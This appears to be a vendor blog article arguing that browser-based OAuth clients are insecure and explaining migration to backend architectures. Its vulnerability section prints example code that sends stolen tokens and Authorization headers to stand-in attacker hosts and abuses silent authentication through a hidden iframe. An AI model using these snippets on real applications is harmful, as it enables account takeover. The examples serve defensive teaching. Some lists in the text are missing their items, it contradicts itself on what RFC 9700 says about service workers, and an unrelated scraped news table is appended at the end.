Why BBOC is the least secure OAuth pattern, when it's acceptable, how to implement it safely, and how to migrate to secure architectures.
Of all possible browser-based OAuth architectures, the Browser-Based OAuth Client (BBOC) pattern is the least secure. Despite this, BBOC remains the most commonly implemented approach, convenient to build and easy to find in OAuth provider QuickStarts and sample code.
BBOC creates unacceptable security risk for any application handling user data.
The Internet Engineering Task Force (IETF), in its OAuth 2.0 for Browser-Based Applications draft, warns:
This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data.
BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, which creates vulnerabilities that defenders can't fully mitigate.
Several high-profile breaches over the last two years exploited vulnerabilities inherent to BBOC implementations:
While not all these breaches involved BBOC specifically, they highlight the risks of OAuth implementations that expose tokens to client-side vulnerabilities.
This article examines why BBOC is insecure, when it becomes unacceptable, how to reduce risk when forced to use it, and how to migrate to secure architectures. It is part three of a series covering OAuth security architectures. Part 1 covered Backend-for-Frontend (BFF) architecture, the most secure pattern. Part 2 examined Token-Mediating Backend (TMB), a moderately secure middle ground.
Understanding BBOC architecture#The Browser-Based OAuth Client pattern runs the entire OAuth flow in JavaScript in the browser. The browser acts as a public OAuth client, obtains tokens directly from the authorization server, and stores all tokens including sensitive refresh tokens in browser storage.
In contrast, the architectures covered earlier in this series keep tokens out of the browser entirely or limit what reaches it:
HttpOnly session cookie. Requests to resource servers are proxied through the backend, which adds access tokens as needed.The security difference comes down to the distinction between public and confidential OAuth clients.
Public clients cannot maintain secrets#BBOC applications are public clients in OAuth terminology. A public client cannot keep its credentials confidential. Any "secret" embedded in JavaScript is immediately visible to all users. You can obfuscate your client credentials, but they're visible in the source or network traffic.
Public clients:
Contrast this with the confidential clients used in BFF and TMB architectures, which can:
The critical difference between BBOC and other architectures is what tokens reach the browser:
| BBOC | TMB | BFF | |
|---|---|---|---|
| OAuth client type | Public | Confidential (backend) | Confidential (backend) |
| Tokens in browser | All tokens | Access tokens only | No tokens |
| Client secret | Cannot use | Backend uses secret | Backend uses secret |
| Refresh capability | Browser refreshes | Backend refreshes | Backend refreshes |
| API calls from browser | Direct | Direct | Proxied through backend |
| Session mechanism | Token-based | Cookie + tokens | Cookie only |
| XSS token theft risk | Critical (all tokens) | Medium (access only) | None |
| Security rating | Least secure | Medium security | Most secure |
In BBOC, every token your application obtains exists in JavaScript-accessible storage. This includes:
An attacker who compromises your browser environment gains access to everything. In TMB, the attacker gets access tokens but cannot obtain new ones after they expire. In BFF, the attacker only gets session cookies that require maintaining the session context. In BBOC, the attacker gets refresh tokens that can generate new access tokens indefinitely, even after the user closes the browser.
The many vulnerabilities of browser token storage#The IETF states:
localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin, and as such, would be able to read the contents of the localStorage.
Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised.
Vulnerability 1: Cross-Site Scripting token theft#Cross-Site Scripting (XSS) allows attackers to execute arbitrary JavaScript in your application's context. Once an attacker achieves XSS, stealing tokens from localStorage is trivial:
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
access: localStorage.getItem('access_token'),
refresh: localStorage.getItem('refresh_token'),
id: localStorage.getItem('id_token')
})
});
The 2024 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites, including sites owned by Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in localStorage, all tokens were immediately compromised.
XSS vulnerabilities arise from multiple sources:
Content Security Policy (CSP) provides defense against some XSS attacks but cannot eliminate the risk. A single CSP bypass (which researchers discover regularly) exposes all tokens. The fundamental problem is that all JavaScript on the page, malicious or legitimate, can read the same storage.
Vulnerability 2: Supply chain attacks on the npm ecosystem#Modern web applications depend on hundreds or thousands of npm packages, and each dependency represents a potential attack vector. Supply chain attacks have evolved from theoretical concerns to active threats.
We discussed examples of supply chain attacks in part one of this series. If you build your application using third-party JavaScript libraries, an attacker who compromises any of those libraries, or any of their dependencies, can execute arbitrary code in your application's context.
Vulnerability 3: Persistent access via stolen refresh tokens#Access tokens typically expire after 15-60 minutes, limiting the window of unauthorized access.
Refresh tokens often remain valid for 30-90 days or longer. Some refresh tokens won't expire until they're explicitly revoked. An attacker who steals a refresh token gains:
The combination of long-lived refresh tokens and browser storage creates catastrophic risk. An XSS attack lasting seconds can steal tokens that provide access for months.
Vulnerability 4: Token storage options present a spectrum of insecurity#BBOC implementations must choose where to store tokens. Every option has security implications:
In-memory storage stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, so every reload or tab refresh forces re-authentication, which is unacceptable for most applications. The security benefit is also limited, since XSS attacks can still access in-memory variables while the page is running.
sessionStorage isolates tokens to a single browser tab and does not persist them across tab closures, so each tab requires its own authentication. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session.
localStorage is the most common choice. Tokens persist across page reloads and tab closures, shared across all tabs in the same origin. Users authenticate once and stay authenticated, making it the least disruptive option, but tokens persist indefinitely until explicitly cleared and any JavaScript in the origin can read them. XSS on any page in your domain exposes all tokens.
IndexedDB: Offers similar capabilities to localStorage with more complex APIs and larger storage capacity, but no security advantages for token storage. The same XSS and JavaScript access concerns apply, and the added complexity provides no security benefit.
Service workers operate in a separate JavaScript context from the DOM and can intercept network requests and cache data. They are the least insecure browser-based storage option because:
However, service workers still have vulnerabilities:
Service workers provide the least insecure browser-based storage option, though storing tokens in the browser at all remains less secure than the alternatives.
No storage option resolves the underlying problem. In-memory storage and service workers trade usability for marginal security gains, while localStorage trades security for usability. The only secure solution is not storing tokens in the browser, which requires moving beyond BBOC to TMB or BFF architectures.
Token storage guidance: RFC 9700 recommends service workers as the least insecure browser-based storage option when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges that this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks.
Vulnerability 5: Prototype pollution and API interception#JavaScript's prototype-based inheritance gives attackers another route to tokens. An attacker with code execution can manipulate core JavaScript functionality to intercept tokens without accessing storage at all:
// Override fetch to intercept all HTTP requests
const originalFetch = window.fetch;
window.fetch = function(...args) {
// Check if request includes Authorization header
const [url, options] = args;
if (options?.headers?.Authorization) {
// Exfiltrate the token
originalFetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify({
token: options.headers.Authorization,
url: url
})
});
}
// Call original fetch to avoid detection
return originalFetch.apply(this, args);
};
This attack doesn't access localStorage directly. It intercepts tokens as your application uses them. Similar attacks can override:
XMLHttpRequest.prototype.open and XMLHttpRequest.prototype.send.WebSocket constructors.EventTarget.prototype.addEventListener.Prototype pollution attacks succeed even when you store tokens in JavaScript closures or private variables. The interception occurs at the network layer, not the storage layer.
Vulnerability 6: Silent authentication abuse#Some OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction.
Silent authentication improves user experience by preventing repeated login prompts, but browser privacy features like Intelligent Tracking Prevention (ITP) increasingly block the cross-origin cookies it relies on, making it unreliable. It also creates an attack vector that an attacker who achieves XSS can abuse:
// Create hidden iframe for silent authentication
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://auth-provider.example.com/authorize?' +
'client_id=YOUR_CLIENT_ID&' +
'response_type=code&' +
'redirect_uri=https://attacker.example.com/callback&' +
'prompt=none&' + // Silent authentication
'state=attacker_state';
document.body.appendChild(iframe);
The IETF identifies this in Section 5.1.3 (Acquisition and Extraction of New Tokens). Even if the attacker cannot directly access existing tokens in your application's storage they can:
prompt=none to avoid user interaction.This attack bypasses token storage security entirely. Rather than stealing existing tokens, the attacker acquires a new token using the user's active authorization server session.
Security effectiveness comparison#The IETF OAuth 2.0 for Browser-Based Applications specification documents seven attack scenarios and evaluates the mitigation effectiveness for each architecture:
| Attack scenario | BBOC mitigation | TMB mitigation | BFF mitigation |
|---|---|---|---|
| XSS token theft | ❌ | ⚠️ | ✅ |
| Supply chain compromise | ❌ | ⚠️ | ✅ |
| Persistent refresh token theft | ❌ | ✅ | ✅ |
| Silent authentication abuse | ❌ | ✅ | ✅ |
| Prototype pollution | ❌ | ⚠️ | ✅ |
| CSRF bypass attacks | ❌ | ⚠️ | ⚠️ |
| Client code hijacking | ❌ | ❌ | ❌ |
Two IETF documents define current best practices:
RFC 9700 establishes mandatory security requirements for all OAuth implementations:
The Authorization Code Flow with PKCE is required for all OAuth clients. The specification states:
Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications.
Public clients like BBOC must use PKCE, since OAuth 2.1 now requires that both public and confidential clients use PKCE.
The implicit grant is officially deprecated. RFC 9700 explicitly states:
The implicit grant (response type 'token') and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay.
The implicit grant placed tokens directly in URL fragments, which are exposed through browser history, cloud sync services, third-party scripts monitoring URL changes, and referrer headers on subsequent navigation.
Implicit grants emerged when cross-origin resource sharing (CORS) adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code Flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification.
You can spot implicit grant implementations by looking for response_type=token in authorization requests. Any application using the implicit grant must be re-architected to use the Authorization Code Flow with PKCE.
Token storage guidance is explicit. RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges that this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks.
The OAuth 2.0 for Browser-Based Applications specification states:
This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data.
The IETF states that BBOC creates unacceptable risk for any application handling user data. No amount of security controls can overcome the fundamental vulnerability of storing credentials in locations accessible via JavaScript.
BBOC fails regulatory requirements#Many regulatory frameworks require secure credential storage. BBOC's vulnerabilities make compliance extremely difficult or impossible for regulated industries:
Moving from BBOC to TMB or BFF requires systematic changes, but the complexity depends on your target architecture and application structure.
Migration to TMB#With TMB, the migration focuses on moving token exchange and storage to the backend. Backend endpoints handle OAuth flows using PKCE and store refresh tokens server-side, returning only short-lived access tokens to the frontend. Much of the frontend OAuth logic stays similar to BBOC, but the frontend remains complex since it still manages access tokens for direct API calls.
Migration to BFF#With BFF, proxy endpoints handle session validation, token refresh, and forwarding all API requests to resource servers. The frontend becomes a basic API client that routes calls through the proxy using session cookies, with no token management needed. The main additional challenge is performance optimization through connection pooling and caching to offset proxy latency.
When forced into BBOC#If you're forced into a BBOC architecture due to legacy constraints, third-party requirements, or other factors, implement these strategies to reduce (but not eliminate) risk:
Most strategies provide only marginal security improvements, with the exception of DPoP and mTLS. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures.
Decision framework#Any production application handling user data should not use BBOC.
How FusionAuth can help#BBOC served a purpose during OAuth's early years (2012-2019) when CORS limitations forced implicit grant flows and browser-based implementations. That era ended by 2019 when CORS achieved universal support and the Authorization Code Flow with PKCE became viable for browser applications.
The security landscape in 2025 makes BBOC unacceptable for any application handling user data. XSS attacks have evolved from rare occurrences to constant threats, and supply chain attacks have made even your own dependencies part of your attack surface.
At FusionAuth, we strongly recommend migrating all applications away from BBOC to BFF. FusionAuth's Hosted Backend provides a production-ready BFF implementation with detailed documentation to get you started.
Further reading#Resources for a deeper understanding of OAuth security architectures:
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | Backend-for-Frontend: The most secure architecture for browser-based apps | 0 | 24.06 | 22-04-2026 |
| 2 | Token-Mediating Backend: An alternative to the BFF architecture | 0 | 21.31 | 07-05-2026 |
| 3 | Protect an MCP server with an Authorization Server | 0 | 7.35 | 15-06-2026 |
| 4 | Kubernetes RBAC: Roles, Permissions & Best Practices (2026) | 5 | 8 | 16-02-2026 |
| 5 | E-rickshaw battery ‘hacks’ and Bluetooth BMS vulnerabilities | Explained | 0 | 7 | 06-07-2026 |
| 6 | Cookie Chaos: How to bypass __Host and __Secure cookie prefixes | 0 | 7 | 03-09-2025 |
| 7 | bocpy: Behavior-Oriented Concurrency in Python | 0 | 30 | 12-06-2026 |
| 8 | CSS:the bomb inside your inbox | 0 | 7.42 | 06-08-2026 |
| 9 | From tool procurement to platform architecture: Rethinking the SOC for machine-speed threats | 0 | 16.79 | 27-07-2026 |
| 10 | expertapps/laravel-abac | 0 | 30 | 03-08-2026 |